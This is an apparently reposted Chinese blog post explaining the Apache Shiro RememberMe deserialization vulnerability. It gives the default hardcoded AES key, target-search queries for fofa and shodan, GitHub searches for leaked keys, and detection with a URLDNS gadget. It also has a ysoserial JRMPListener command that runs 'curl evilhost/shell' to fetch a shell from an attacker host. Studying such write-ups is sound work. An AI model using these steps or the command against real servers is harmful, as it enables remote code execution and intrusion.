4加密问题漏洞修复_Apache Shiro 反序列化漏洞实战
Apache Shiro是一個Java安全框架,執行身份驗證、授權、密碼和會話管理。2016年,網絡中曝光1.2.4以前的版本存在反序列化漏洞。盡管該漏洞已經曝光幾年,但是在實戰中仍然比較實用。花了點時間研究了下,并根據網絡上的利用腳本改進。主要修改了檢測方式,并使利用方式更加簡單靈活,使其更具有實戰意義,提升其效率。漏洞原理
Apache Shiro框架提供了記住我的功能(RememberMe),用戶登陸成功后會生成經過加密并編碼的cookie。cookie的key為RememberMe,cookie的值是經過對相關信息進行序列化,然后使用aes加密,最后在使用base64編碼處理形成的。
在服務端接收cookie值時,按照如下步驟來解析處理:
1、檢索RememberMe cookie 的值
2、Base 64解碼
3、使用AES解密(加密密鑰硬編碼)
4、進行反序列化操作(未作過濾處理)
在調用反序列化時未進行任何過濾,導致可以觸發遠程代碼執行漏洞。
漏洞利用條件:
由于使用來aes加密,要想成功利用漏洞則需要獲取aes的加密密鑰,而在shiro的1.2.4之前版本中使用的是硬編碼。其默認密鑰的base64編碼后的值為kPH+bIxk5D2deZiIxcaaaA==。這里就可以通過構造惡意的序列化對象進行編碼,加密,然后作為cookie加密發送,服務端接收后會解密并觸發反序列化漏洞。
盡管目前已經更新了許多版本,官方并沒有反序列化漏洞本身解決,而是通過去掉硬編碼的密鑰,使其每次生成一個密鑰來解決該漏洞。但是,目前一些開源系統、教程范例代碼都使用來固定的編碼,這里我們可以通過搜索引擎、github等來收集密鑰,提高漏洞檢測與利用的成功率。檢測與利用
目標發現與尋找
Shrio框架的特征是登錄頁面的cookie中存在remeberMe=deleteMe(失敗時返回的值)的內容。通過該特征發現Shiro的系統有幾種方式:
1、在登錄頁面時,提交表單后看set-cookie是否存在remeberMe=deleteMe。
2、在流量中搜索remeberMe=deleteMe。
3、通過fofa、zoomeye、shodan這類平臺搜索相關特征來發現目標。
例如fofa的搜索關鍵詞:header="rememberme=deleteMe"、header="shiroCookie"
漏洞檢測
漏洞檢測的面臨的問題:
1、該漏洞無法回顯
2、系統環境復雜
3、aes的key可能被修改。
對于第一個問題,可以通過dnslog平臺,使用ysoserial的URLDNS Gadget來檢測,使用這個Gadget好處就是通用。這種檢測也可以解決系統環境復雜的問題。但是這里要注意解析會有ttl值緩存,檢測時建議每次隨機生成一個子域名。
對于第三個問題,我們可以通過網絡收集,文件讀取漏洞來獲取key。通過github,搜索引擎這里收集到了23個key。
這里列出搜索關鍵詞或者文件路徑:
github搜索關鍵詞securityManager.rememberMeManager.cipherKey cookieRememberMeManager.setCipherKey setCipherKey(Base64.decode
配置文件路徑或者名
WEB-INF/shiro.ini
ShiroConfig.java
利用方式
根據大牛的文章以及實際測試,漏洞利用目前使用jndi和jrmp比較好。使用ysoserial的exploit功能即可。
服務器上執行java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'curl evilhost/shell –o shell'
本地通過JRMPClient的payload鏈接服務器上的JRMP服務使用網上的漏洞利用工具發送即可利用成功。
漏洞腳本地址:Shiro_exploit
修復建議
1、不要使用硬編碼,不要使用硬編碼,不要使用硬編碼。
參考鏈接http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.htmlhttps://issues.apache.org/jira/browse/SHIRO-550https://blog.knownsec.com/2016/08/apache-shiro-java/https://www.cnblogs.com/loong-hon/p/10619616.htmlhttps://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/https://www.freebuf.com/vuls/178014.htmlhttps://www.cnblogs.com/peterpan0707007/p/11342997.htmlhttps://github.com/frohoff/ysoserial
- 本文作者: BaCde's Blog
- 本文鏈接: Apache Shiro 反序列化漏洞實戰
- 版權聲明: 本博客所有文章除特別聲明外,轉載請注明出處!
總結
以上是生活随笔為你收集整理的4加密问题漏洞修复_Apache Shiro 反序列化漏洞实战的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: gcvt字符串转换函数应用实例
- 下一篇: 下一代 Web 应用模型 —— Prog